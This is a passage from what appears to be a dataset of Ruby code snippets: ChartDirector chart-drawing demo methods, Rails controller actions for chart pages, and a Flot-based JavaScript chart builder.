layer0.setXData(dataX0)\n layer0.setLineWidth(2)\n\n # Add a blue (0000ff) step line layer to the chart and set the line width to 2\n # pixels\n layer1 = c.addStepLineLayer(dataY1, 0x0000ff, \"Country BBB\")\n layer1.setXData(dataX1)\n layer1.setLineWidth(2)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def show\n akt_zeit\n #chart_kurven\n highchart_kurven\n init_diaquenauswahl\n # macht folgende Zeile �berfl�ssig\n #@diagramm = Diagramm.find(params[:id])\n @titelzeile = @diagramm.name + \" - KabDiag\"\n respond_to do |format|\n format.html {\n }\n format.json {\n p @chart\n render :inline => @chart.render #, :layout => false\n }\n end\n end",
"def getchart()\n # 4 data points to represent the cash flow for the Q1 - Q4\n data = [230, -140, 220, 330]\n\n # We want to plot a waterfall chart showing the 4 quarters as well as the total\n labels = [\"1st Quarter\", \"2nd Quarter\", \"3rd Quarter\", \"4th Quarter\", \"Total\"]\n\n # The top side of the bars in a waterfall chart is the accumulated data. We use\n # the ChartDirector ArrayMath utility to accumulate the data. The \"total\" is\n # handled by inserting a zero point at the end before accumulation (after\n # accumulation it will become the total).\n boxTop = ChartDirector::ArrayMath.new(data).insert2(0, 1, data.length).acc(\n ).result()\n\n # The botom side of the bars is just the top side of the previous bar. So we\n # shifted the top side data to obtain the bottom side data.\n boxBottom = ChartDirector::ArrayMath.new(boxTop).shift(1, 0).result()\n\n # The last point (total) is different. Its bottom side is always 0.\n boxBottom[boxBottom.length - 1] = 0\n\n # In this example, we want to use different colors depending on the data is\n # positive or negative.\n posColor = 0x00ff00\n negColor = 0xff0000\n\n # Create a XYChart object of size 500 x 280 pixels. Set background color to light\n # blue (ccccff), with 1 pixel 3D border effect.\n c = ChartDirector::XYChart.new(500, 300, 0xccccff, 0x000000, 1)\n\n # Add a title to the chart using 13 points Arial Bold Itatic font, with white\n # (ffffff) text on a deep blue (0x80) background\n c.addTitle(\"Corporate Cash Flow - Year 2004\", \"arialbi.ttf\", 13, 0xffffff\n ).setBackground(0x000080)\n\n # Set the plotarea at (55, 50) and of size 430 x 215 pixels. Use alternative\n # white/grey background.\n c.setPlotArea(55, 50, 430, 215, 0xffffff, 0xeeeeee)\n\n # Add a legend box at (55, 25) using 8 pts Arial Bold font with horizontal layout,\n # with transparent background and border color.\n b = c.addLegend(55, 25, false, \"arialbd.ttf\", 8)\n b.setBackground(ChartDirector::Transparent, ChartDirector::Transparent)\n\n # Add keys to show the colors for positive and negative cash flows\n b.addKey(\"Positive Cash Flow\", posColor)\n b.addKey(\"Negative Cash Flow\", negColor)\n\n # Set the labels on the x axis using Arial Bold font\n c.xAxis().setLabels(labels).setFontStyle(\"arialbd.ttf\")\n\n # Set the x-axis ticks and grid lines to be between the bars\n c.xAxis().setTickOffset(0.5)\n\n # Use Arial Bold as the y axis label font\n c.yAxis().setLabelStyle(\"arialbd.ttf\")\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"USD (in millions)\")\n\n # Add a box-whisker layer to represent the waterfall bars\n layer = c.addBoxWhiskerLayer(boxTop, boxBottom)\n\n # Color the bars depending on whether it is positive or negative\n 0.upto(boxTop.length - 1) do |i|\n if boxTop[i] >= boxBottom[i]\n layer.setBoxColor(i, posColor)\n else\n layer.setBoxColor(i, negColor)\n end\n end\n\n # Put data labels on the bars to show the cash flow using Arial Bold font\n layer.setDataLabelFormat(\"{={top}-{bottom}}M\")\n layer.setDataLabelStyle(\"arialbd.ttf\").setAlignment(ChartDirector::Center)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The data for the bar chart\n data = [85, 156, 179.5, 211, 123]\n\n # The labels for the bar chart\n labels = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\"]\n\n # The colors for the bar chart\n colors = [0xb8bc9c, 0xa0bdc4, 0x999966, 0x333366, 0xc3c3e6]\n\n # Create a XYChart object of size 300 x 220 pixels. Use golden background color.\n # Use a 2 pixel 3D border.\n c = ChartDirector::XYChart.new(300, 220, ChartDirector::goldColor(), -1, 2)\n\n # Add a title box using 10 point Arial Bold font. Set the background color to\n # metallic blue (9999FF) Use a 1 pixel 3D border.\n c.addTitle(\"Daily Network Load\", \"arialbd.ttf\", 10).setBackground(\n ChartDirector::metalColor(0x9999ff), -1, 1)\n\n # Set the plotarea at (40, 40) and of 240 x 150 pixels in size\n c.setPlotArea(40, 40, 240, 150)\n\n # Add a multi-color bar chart layer using the given data and colors. Use a 1 pixel\n # 3D border for the bars.\n c.addBarLayer3(data, colors).setBorderColor(-1, 1)\n\n # Set the labels on the x axis.\n c.xAxis().setLabels(labels)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def chart\n case param_context(:chart_type)\n when 'cities' then\n @cities = city_count_data.to_a # build the data here, or pull it from an endpoint in the JS, but not both\n render 'cities_chart'\n when 'countries' then\n @countries = country_count_data.to_a # build the data here, or pull it from an endpoint in the JS, but not both\n render 'countries_chart'\n when 'years' then\n @years = year_count_data.to_a\n render 'years_chart'\n else\n flash[:error] = 'Unknown chart type'\n redirect_to events_path\n end\n end",
"def getchart()\n #\n # We use a random number generator to simulate the data from 9:30am to 4:30pm\n # with one data point every 4 minutes. The total number of points during that\n # period is 106. (7 hours x 15 points/hour + 1)\n #\n noOfPoints = 106\n\n # Assume we have not reached the end of the day yet, and only 85 points are\n # available. Create a random table object of 1 col x 85 rows, using 9 as seed.\n rantable = ChartDirector::RanTable.new(9, 1, 85)\n\n # Set the 1st column to start with 1800 and with random delta from -5 to 5.\n rantable.setCol(0, 1800, -5, 5)\n\n # Get the data as the 1st column of the random table\n data = rantable.getCol(0)\n\n # The x-axis labels for the chart\n labels = [\"-\", \"10am\", \"-\", \" \", \"-\", \"12am\", \"-\", \" \", \"-\", \"2pm\", \"-\", \" \", \"-\",\n \"4pm\", \"-\"]\n\n #\n # Now we obtain the data into arrays, we can start to draw the chart using\n # ChartDirector\n #\n\n # Create a XYChart object of size 180 x 180 pixels with a blue background\n # (0x9c9cce)\n c = ChartDirector::XYChart.new(180, 180, 0x9c9cce)\n\n # Add titles to the top and bottom of the chart using 7.5pt Arial font. The text\n # is white 0xffffff on a deep blue 0x31319C background.\n c.addTitle2(ChartDirector::Top, \"STAR TECH INDEX 2003-01-28\", \"arial.ttf\", 7.5,\n 0xffffff, 0x31319c)\n c.addTitle2(ChartDirector::Bottom, \"LATEST STI:1809.41 (+14.51)\", \"arial.ttf\",\n 7.5, 0xffffff, 0x31319c)\n\n # Set the plotarea at (31, 21) and of size 145 x 124 pixels, with a pale yellow\n # (0xffffc8) background.\n c.setPlotArea(31, 21, 145, 124, 0xffffc8)\n\n # Add custom text at (176, 21) (top right corner of plotarea) using 11pt Times\n # Bold Italic font/red (0xc09090) color\n c.addText(176, 21, \"Chart Demo\", \"timesbi.ttf\", 11, 0xc09090).setAlignment(\n ChartDirector::TopRight)\n\n # Use 7.5 pts Arial as the y axis label font\n c.yAxis().setLabelStyle(\"\", 7.5)\n\n # Set the labels on the x axis by spreading the labels evenly between the first\n # point (index = 0) and the last point (index = noOfPoints - 1)\n c.xAxis().setLinearScale(0, noOfPoints - 1, labels)\n\n # Use 7.5 pts Arial as the x axis label font\n c.xAxis().setLabelStyle(\"\", 7.5)\n\n # Add a deep blue (0x000080) line layer to the chart\n c.addLineLayer(data, 0x000080)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The data with error information\n data = [42, 49, 33, 38, 51, 46, 29, 41, 44, 57, 59, 52, 37, 34, 51, 56, 56, 60,\n 70, 76, 63, 67, 75, 64, 51]\n errData = [5, 6, 5.1, 6.5, 6.6, 8, 5.4, 5.1, 4.6, 5.0, 5.2, 6.0, 4.9, 5.6, 4.8,\n 6.2, 7.4, 7.1, 6.0, 6.6, 7.1, 5.3, 5.5, 7.9, 6.1]\n\n # The labels for the chart\n labels = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\",\n \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\"]\n\n # Create a XYChart object of size 600 x 300 pixels, with a light grey (eeeeee)\n # background, black border, 1 pixel 3D border effect and rounded corners.\n c = ChartDirector::XYChart.new(600, 300, 0xeeeeee, 0x000000, 1)\n c.setRoundedFrame()\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Set the plotarea at (55, 55) and of size 520 x 195 pixels, with white (ffffff)\n # background. Set horizontal and vertical grid lines to grey (cccccc).\n c.setPlotArea(55, 55, 520, 195, 0xffffff, -1, -1, 0xcccccc, 0xcccccc)\n\n # Add a title box to the chart using 15 pts Times Bold Italic font. The title is\n # in CDML and includes embedded images for highlight. The text is on a light grey\n # (dddddd) background, with glass lighting effect.\n c.addTitle(\n \"<*block,valign=absmiddle*><*img=star.png*><*img=star.png*> Molecular \" \\\n \"Temperature Control <*img=star.png*><*img=star.png*><*/*>\", \"timesbi.ttf\", 15\n ).setBackground(0xdddddd, 0, ChartDirector::glassEffect())\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"Temperature\")\n\n # Add a title to the x axis using CMDL\n c.xAxis().setTitle(\n \"<*block,valign=absmiddle*><*img=clock.png*> Elapsed Time (hour)<*/*>\")\n\n # Set the labels on the x axis.\n c.xAxis().setLabels(labels)\n\n # Display 1 out of 3 labels on the x-axis. Show minor ticks for remaining labels.\n c.xAxis().setLabelStep(3, 1)\n\n # Set the axes width to 2 pixels\n c.xAxis().setWidth(2)\n c.yAxis().setWidth(2)\n\n # Add a line layer to the chart\n lineLayer = c.addLineLayer2()\n\n # Add a blue (0xff) data set to the line layer, with yellow (0xffff80) diamond\n # symbols\n lineLayer.addDataSet(data, 0x0000ff).setDataSymbol(ChartDirector::DiamondSymbol,\n 12, 0xffff80)\n\n # Set the line width to 2 pixels\n lineLayer.setLineWidth(2)\n\n # Add a box whisker layer to the chart. Use the upper and lower mark of the box\n # whisker layer to act as error zones. The upper and lower marks are computed\n # using the ArrayMath object.\n errLayer = c.addBoxWhiskerLayer(nil, nil, ChartDirector::ArrayMath.new(data).add(\n errData).result(), ChartDirector::ArrayMath.new(data).sub(errData).result(),\n data, ChartDirector::Transparent, 0xbb6633)\n\n # Set the line width to 2 pixels\n errLayer.setLineWidth(2)\n\n # Set the error zone to occupy half the space between the symbols\n errLayer.setDataGap(0.5)\n\n # Add a custom CDML text at the bottom right of the plot area as the logo\n c.addText(575, 247,\n \"<*block,valign=absmiddle*><*img=small_molecule.png*> <*block*>\" \\\n \"<*font=timesbi.ttf,size=10,color=804040*>Molecular\\nEngineering<*/*>\"\n ).setAlignment(ChartDirector::BottomRight)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def makeChart(*options)\n\ndisplay = \"\n<div class='charts last'>\n\n<div class='left'>\n\n\n<div id='placeholder' style='width:400px;height:200px;'></div>\n<div id='overview' style='width:400px;height:50px'></div>\n<p id='overviewLegend' style='margin-left:10px'></p>\n\n<p> Try zooming. Click and drag to select a zone.</p>\n</div>\n\n<div class='right'>\n\nWeight Chart<br/>\n<div id='miniWeight' style='width:350px;height:100px;'></div>\nWater Chart<br/>\n<div id='miniWater' style='width:350px;height:100px;'></div>\n\n\nCalories Eaten<br/>\n<div id='miniCalorie' style='width:350px;height:100px;'></div>\nFitness (Calories burned not to include resting metabolism)<br/>\n<div id='miniFitness' style='width:350px;height:100px;'></div><br/>\n\nMeasurements (Total inches)<br/>\n<div id='miniMeasures' style='width:350px;height:100px;'></div>\n\n\n</div>\n\n\n\n\n<div class='last'></div>\n<script id='source' language='javascript' type='text/javascript'>\n\n\n$(function () {\nvar options = {\n xaxis: { mode: 'time' },\n selection: { mode: 'x' },\n legend: { \n show: true, \n container: $('#overviewLegend'),\n noColumns: 2,\n }\n};\n\nvar options_overview = {\n xaxis: { mode: 'time' },\n selection: { mode: 'x' },\n legend: { show: false}\n};\n\n\nvar plot = $.plot($('#placeholder'), \n[ #{@chartable.to_chart } ], options);\n\n\n\n\nvar overview = $.plot($('#overview'), \n[ #{@chartable.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\n\n\n\n\nvar overview_1 = $.plot($('#miniWeight'), \n[ #{@miniWeight.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\nvar overview_2 = $.plot($('#miniWater'), \n[ #{@miniWater.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\nvar overview_3 = $.plot($('#miniCalorie'), \n[ #{@miniCalorie.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\nvar overview_4 = $.plot($('#miniFitness'), \n[ #{@miniFitness.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\nvar overview_5 = $.plot($('#miniMeasures'), \n[ #{@miniMeasures.to_chart}], \n{ lines: { show: true, lineWidth: 3 },\n shadowSize: 0,\n legend: {\n show: false },\n xaxis: { ticks: 3, mode: 'time' },\n selection: { mode: 'x' }\n});\n\n\n// now connect the two\nvar internalSelection = false;\n\n$('#placeholder').bind('selected', function (event, area) {\n // do the zooming\n plot = $.plot($('#placeholder'), \n [#{@chartable.to_chart}],\n $.extend(true, {}, options, {\n xaxis: { min: area.x1, max: area.x2 }\n }));\n \n if (internalSelection)\n return; // prevent eternal loop\n internalSelection = true;\n overview.setSelection(area);\n internalSelection = false;\n});\n\n$('#overview').bind('selected', function (event, area) {\n if (internalSelection)\n return;\n internalSelection = true;\n plot.setSelection(area);\n internalSelection = false;\n});\n\n\n});\n</script>\n\"\n\nend",
"def getchart()\n # The data for the area chart\n data0 = [42, 49, 33, 38, 51, 46, 29, 41, 44, 57, 59, 52, 37, 34, 51, 56, 56, 60,\n 70, 76, 63, 67, 75, 64, 51]\n data1 = [50, 55, 47, 34, 42, 49, 63, 62, 73, 59, 56, 50, 64, 60, 67, 67, 58, 59,\n 73, 77, 84, 82, 80, 84, 89]\n data2 = [87, 89, 85, 66, 53, 39, 24, 21, 37, 56, 37, 22, 21, 33, 13, 17, 4, 23,\n 16, 25, 9, 10, 5, 7, 6]\n labels = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\",\n \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\"]\n\n # Create a XYChart object of size 350 x 230 pixels\n c = ChartDirector::XYChart.new(350, 230)\n\n # Set the plotarea at (50, 30) and of size 250 x 150 pixels.\n c.setPlotArea(50, 30, 250, 150)\n\n # Add a legend box at (55, 0) (top of the chart) using 8 pts Arial Font. Set\n # background and border to Transparent.\n c.addLegend(55, 0, false, \"\", 8).setBackground(ChartDirector::Transparent)\n\n # Add a title to the x axis\n c.xAxis().setTitle(\"Network Load for Jun 12\")\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"MBytes\")\n\n # Set the labels on the x axis.\n c.xAxis().setLabels(labels)\n\n # Display 1 out of 2 labels on the x-axis. Show minor ticks for remaining labels.\n c.xAxis().setLabelStep(2, 1)\n\n # Add three area layers, each representing one data set. The areas are drawn in\n # semi-transparent colors.\n c.addAreaLayer(data2, 0x808080ff, \"Server #1\", 3)\n c.addAreaLayer(data0, 0x80ff0000, \"Server #2\", 3)\n c.addAreaLayer(data1, 0x8000ff00, \"Server #3\", 3)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def basic_chart\n \n end",
"def drawChart()\n # The moving average periods selected by the user.\n avgPeriod1 = 0\n avgPeriod1 = params[\"movAvg1\"].to_i\n avgPeriod2 = 0\n avgPeriod2 = params[\"movAvg2\"].to_i\n\n if avgPeriod1 < 0\n avgPeriod1 = 0\n elsif avgPeriod1 > 300\n avgPeriod1 = 300\n end\n\n if avgPeriod2 < 0\n avgPeriod2 = 0\n elsif avgPeriod2 > 300\n avgPeriod2 = 300\n end\n\n # We need extra leading data points in order to compute moving averages.\n extraPoints = 20\n if avgPeriod1 > extraPoints\n extraPoints = avgPeriod1\n end\n if avgPeriod2 > extraPoints\n extraPoints = avgPeriod2\n end\n\n # Get the data series to compare with, if any.\n compareKey = (params[\"CompareWith\"] || \"\").strip\n @compareData = nil\n if getData(compareKey, extraPoints)\n @compareData = @closeData\n end\n\n # The data series we want to get.\n tickerKey = (params[\"TickerSymbol\"] || \"\").strip\n if !getData(tickerKey, extraPoints)\n return errMsg(\"Please enter a valid ticker symbol\")\n end\n\n \n\n # Check if there is any valid data\n if extraPoints >= @timeStamps.length\n # No data - just display the no data message.\n return errMsg(\"No data available for the specified time period\")\n end\n\n # In some finance chart presentation style, even if the data for the latest day is\n # not fully available, the axis for the entire day will still be drawn, where no\n # data will appear near the end of the axis.\n # if @resolution < 86400\n # # Add extra points to the axis until it reaches the end of the day. The end of\n # # day is assumed to be 16:00 (it depends on the stock exchange).\n # lastTime = @timeStamps[@timeStamps.length - 1]\n # extraTrailingPoints = ((16 * 3600 - lastTime % 86400) / @resolution).to_i\n # 0.upto(extraTrailingPoints - 1) do |i|\n # @timeStamps.push(lastTime + @resolution * (i + 1))\n # end\n # end\n\n #\n # At this stage, all data are available. We can draw the chart as according to\n # user input.\n #\n\n #\n # Determine the chart size. In this demo, user can select 4 different chart sizes.\n # Default is the large chart size.\n #\n width = 780\n mainHeight = 255\n indicatorHeight = 80\n\n size = params[\"ChartSize\"]\n if size == \"S\"\n # Small chart size\n width = 450\n mainHeight = 160\n indicatorHeight = 60\n elsif size == \"M\"\n # Medium chart size\n width = 620\n mainHeight = 215\n indicatorHeight = 70\n elsif size == \"H\"\n # Huge chart size\n width = 1000\n mainHeight = 320\n indicatorHeight = 90\n end\n\n # Create the chart object using the selected size\n m = ChartDirector::FinanceChart.new(width)\n\n # Set the data into the chart object\n m.setData(@timeStamps, @highData, @lowData, @openData, @closeData, @volData,\n extraPoints)\n #debugger\n #\n # We configure the title of the chart. In this demo chart design, we put the\n # company name as the top line of the title with left alignment.\n #\n m.addPlotAreaTitle(ChartDirector::TopLeft, tickerKey)\n\n # We displays the current date as well as the data resolution on the next line.\n resolutionText = \"\"\n if @resolution == 30 * 86400\n resolutionText = \"Monthly\"\n elsif @resolution == 7 * 86400\n resolutionText = \"Weekly\"\n elsif @resolution == 86400\n resolutionText = \"Daily\"\n elsif @resolution == 900\n resolutionText = \"15-min\"\n end\n\n m.addPlotAreaTitle(ChartDirector::BottomLeft, sprintf(\n \"<*font=arial.ttf,size=8*>%s - %s chart\", m.formatValue(Time.new,\n \"mmm dd, yyyy\"), resolutionText))\n\n # A copyright message at the bottom left corner the title area\n m.addPlotAreaTitle(ChartDirector::BottomRight,\n \"<*font=arial.ttf,size=8*>(c) Advanced Software Engineering\")\n\n #\n # Add the first techical indicator according. In this demo, we draw the first\n # indicator on top of the main chart.\n #\n addIndicator(m, params[\"Indicator1\"], indicatorHeight)\n\n #\n # Add the main chart\n #\n m.addMainChart(mainHeight)\n\n #\n # Set log or linear scale according to user preference\n #\n if params[\"LogScale\"] == \"1\"\n m.setLogScale(true)\n end\n\n #\n # Set axis labels to show data values or percentage change to user preference\n #\n if params[\"PercentageScale\"] == \"1\"\n m.setPercentageAxis()\n end\n\n #\n # Draw any price line the user has selected\n #\n mainType = params[\"ChartType\"]\n if mainType == \"Close\"\n m.addCloseLine(0x000040)\n elsif mainType == \"TP\"\n m.addTypicalPrice(0x000040)\n elsif mainType == \"WC\"\n m.addWeightedClose(0x000040)\n elsif mainType == \"Median\"\n m.addMedianPrice(0x000040)\n end\n\n #\n # Add comparison line if there is data for comparison\n #\n if @compareData != nil\n if @compareData.length > extraPoints\n m.addComparison(@compareData, 0x0000ff, compareKey)\n end\n end\n\n #\n # Add moving average lines.\n #\n addMovingAvg(m, params[\"avgType1\"], avgPeriod1, 0x663300)\n addMovingAvg(m, params[\"avgType2\"], avgPeriod2, 0x9900ff)\n\n #\n # Draw candlesticks or OHLC symbols if the user has selected them.\n #\n if mainType == \"CandleStick\"\n m.addCandleStick(0x33ff33, 0xff3333)\n elsif mainType == \"OHLC\"\n m.addHLOC(0x008800, 0xcc0000)\n end\n\n #\n # Add parabolic SAR if necessary\n #\n if params[\"ParabolicSAR\"] == \"1\"\n m.addParabolicSAR(0.02, 0.02, 0.2, ChartDirector::DiamondShape, 5, 0x008800,\n 0x000000)\n end\n\n #\n # Add price band/channel/envelop to the chart according to user selection\n #\n bandType = params[\"Band\"]\n if bandType == \"BB\"\n m.addBollingerBand(20, 2, 0x9999ff, 0xc06666ff)\n elsif bandType == \"DC\"\n m.addDonchianChannel(20, 0x9999ff, 0xc06666ff)\n elsif bandType == \"Envelop\"\n m.addEnvelop(20, 0.1, 0x9999ff, 0xc06666ff)\n end\n\n #\n # Add volume bars to the main chart if necessary\n #\n if params[\"Volume\"] == \"1\"\n m.addVolBars(indicatorHeight, 0x99ff99, 0xff9999, 0xc0c0c0)\n end\n\n #\n # Add additional indicators as according to user selection.\n #\n addIndicator(m, params[\"Indicator2\"], indicatorHeight)\n addIndicator(m, params[\"Indicator3\"], indicatorHeight)\n addIndicator(m, params[\"Indicator4\"], indicatorHeight)\n\n return m\n end",
"def getchart()\n # The x and y coordinates of the grid\n dataX = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]\n dataY = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]\n\n # The values at the grid points. In this example, we will compute the values using\n # the formula z = sin((x - 0.5) * 2 * pi) * sin((y - 0.5) * 2 * pi)\n dataZ = Array.new((dataX.length) * (dataY.length))\n 0.upto(dataY.length - 1) do |yIndex|\n y = (dataY[yIndex] - 0.5) * 2 * 3.1416\n 0.upto(dataX.length - 1) do |xIndex|\n x = (dataX[xIndex] - 0.5) * 2 * 3.1416\n dataZ[yIndex * (dataX.length) + xIndex] = Math.sin(x) * Math.sin(y)\n end\n end\n\n # Create a SurfaceChart object of size 720 x 540 pixels\n c = ChartDirector::SurfaceChart.new(720, 540)\n\n # Add a title to the chart using 20 points Times New Roman Italic font\n c.addTitle(\"Quantum Wave Function\", \"timesi.ttf\", 20)\n\n # Set the center of the plot region at (360, 245), and set width x depth x height\n # to 360 x 360 x 270 pixels\n c.setPlotRegion(360, 245, 360, 360, 270)\n\n # Set the elevation and rotation angles to 20 and 30 degrees\n c.setViewAngle(20, 30)\n\n # Set the data to use to plot the chart\n c.setData(dataX, dataY, dataZ)\n\n # Spline interpolate data to a 80 x 80 grid for a smooth surface\n c.setInterpolation(80, 80)\n\n # Set surface grid lines to semi-transparent black (dd000000)\n c.setSurfaceAxisGrid(0xdd000000)\n\n # Set contour lines to semi-transparent white (80ffffff)\n c.setContourColor(0x80ffffff)\n\n # Add a color axis (the legend) in which the left center is anchored at (645,\n # 270). Set the length to 200 pixels and the labels on the right side. Use smooth\n # gradient coloring.\n c.setColorAxis(645, 270, ChartDirector::Left, 200, ChartDirector::Right\n ).setColorGradient()\n\n # Set the x, y and z axis titles using 10 points Arial Bold font\n c.xAxis().setTitle(\"x/L(x)\", \"arialbd.ttf\", 10)\n c.yAxis().setTitle(\"y/L(y)\", \"arialbd.ttf\", 10)\n c.zAxis().setTitle(\"Wave Function Amplitude\", \"arialbd.ttf\", 10)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::JPG), :type => \"image/jpeg\",\n :disposition => \"inline\")\n end",
"def index\n @title = get_title\n\n @show_conditions = false\n\n if show_date_condition\n @date_condition = true\n @show_conditions = true\n else\n @date_condition = false\n end\n\n if show_pages\n @show_pages = true\n end\n\n unless get_grouping_options.empty?\n @grouping_options = RedmineCharts::GroupingUtils.to_options(get_grouping_options)\n @show_conditions = true\n else\n @grouping_options = []\n end\n\n unless get_conditions_options.empty?\n @conditions_options = RedmineCharts::ConditionsUtils.to_options(get_conditions_options, @project.id)\n @show_conditions = true\n else\n @conditions_options = []\n end\n \n @show_left_column = @show_conditions\n\n unless get_help.blank?\n @help = get_help\n @show_left_column = true\n else\n @help = nil\n end\n\n @range = RedmineCharts::RangeUtils.from_params(params)\n @pagination = RedmineCharts::PaginationUtils.from_params(params)\n @grouping = RedmineCharts::GroupingUtils.from_params(get_grouping_options, params)\n @conditions = RedmineCharts::ConditionsUtils.from_params(get_conditions_options, @project.id, params)\n\n @data = data\n\n render :template => \"charts/index\"\n end",
"def to_html\n @chart.to_html\n end",
"def getchart()\n # Sample data for the Box-Whisker chart. Represents the minimum, 1st quartile,\n # medium, 3rd quartile and maximum values of some quantities\n q0Data = [40, 45, 40, 30, 20, 50, 25, 44]\n q1Data = [55, 60, 50, 40, 38, 60, 51, 60]\n q2Data = [62, 70, 60, 50, 48, 70, 62, 70]\n q3Data = [70, 80, 65, 60, 53, 78, 69, 76]\n q4Data = [80, 90, 75, 70, 60, 85, 80, 84]\n\n # The labels for the chart\n labels = [\"Group A\", \"Group B\", \"Group C\", \"Group D\", \"Group E\", \"Group F\",\n \"Group G\", \"Group H\"]\n\n # Create a XYChart object of size 550 x 250 pixels\n c = ChartDirector::XYChart.new(550, 250)\n\n # Set the plotarea at (50, 25) and of size 450 x 200 pixels. Enable both\n # horizontal and vertical grids by setting their colors to grey (0xc0c0c0)\n c.setPlotArea(50, 25, 450, 200).setGridColor(0xc0c0c0, 0xc0c0c0)\n\n # Add a title to the chart\n c.addTitle(\"Computer Vision Test Scores\")\n\n # Set the labels on the x axis and the font to Arial Bold\n c.xAxis().setLabels(labels).setFontStyle(\"arialbd.ttf\")\n\n # Set the font for the y axis labels to Arial Bold\n c.yAxis().setLabelStyle(\"arialbd.ttf\")\n\n # Add a Box Whisker layer using light blue 0x9999ff as the fill color and blue\n # (0xcc) as the line color. Set the line width to 2 pixels\n c.addBoxWhiskerLayer(q3Data, q1Data, q4Data, q0Data, q2Data, 0x9999ff, 0x0000cc\n ).setLineWidth(2)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The data for the upper and lower bounding lines\n upperY = [60, 60, 100, 100, 60, 60]\n lowerY = [40, 40, 80, 80, 40, 40]\n zoneX = [0, 2.5, 3.5, 5.5, 6.5, 10]\n\n # The data for the spline curve\n curveY = [50, 44, 54, 48, 58, 50, 90, 85, 104, 82, 96, 90, 74, 52, 35, 58, 46, 54,\n 48, 52, 50]\n curveX = [0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5,\n 9, 9.5, 10]\n\n # Create a XYChart object of size 600 x 300 pixels, with a light grey (cccccc)\n # background, black border, and 1 pixel 3D border effect.\n c = ChartDirector::XYChart.new(600, 300, 0xcccccc, 0x000000, 1)\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Set the plotarea at (55, 58) and of size 520 x 195 pixels, with white\n # background. Turn on both horizontal and vertical grid lines with light grey\n # color (cccccc)\n c.setPlotArea(55, 58, 520, 195, 0xffffff, -1, -1, 0xcccccc, 0xcccccc)\n\n # Add a legend box at (55, 32) (top of the chart) with horizontal layout. Use 9\n # pts Arial Bold font. Set the background and border color to Transparent.\n c.addLegend(55, 32, false, \"arialbd.ttf\", 9).setBackground(\n ChartDirector::Transparent)\n\n # Add a title box to the chart using 15 pts Times Bold Italic font. The title is\n # in CDML and includes embedded images for highlight. The text is white (ffffff)\n # on a black background, with a 1 pixel 3D border.\n c.addTitle(\n \"<*block,valign=absmiddle*><*img=star.png*><*img=star.png*> Performance \" \\\n \"Enhancer <*img=star.png*><*img=star.png*><*/*>\", \"timesbi.ttf\", 15, 0xffffff\n ).setBackground(0x000000, -1, 1)\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"Temperature\")\n\n # Add a title to the x axis using CMDL\n c.xAxis().setTitle(\n \"<*block,valign=absmiddle*><*img=clock.png*> Elapsed Time (hour)<*/*>\")\n\n # Set the axes width to 2 pixels\n c.xAxis().setWidth(2)\n c.yAxis().setWidth(2)\n\n # Add a purple (800080) spline layer to the chart with a line width of 2 pixels\n splineLayer = c.addSplineLayer(curveY, 0x800080, \"Molecular Temperature\")\n splineLayer.setXData(curveX)\n splineLayer.setLineWidth(2)\n\n # Add a line layer to the chart with two dark green (338033) data sets, and a line\n # width of 2 pixels\n lineLayer = c.addLineLayer2()\n lineLayer.addDataSet(upperY, 0x338033, \"Target Zone\")\n lineLayer.addDataSet(lowerY, 0x338033)\n lineLayer.setXData(zoneX)\n lineLayer.setLineWidth(2)\n\n # Color the zone between the upper zone line and lower zone line as\n # semi-transparent light green (8099ff99)\n c.addInterLineLayer(lineLayer.getLine(0), lineLayer.getLine(1), 0x8099ff99,\n 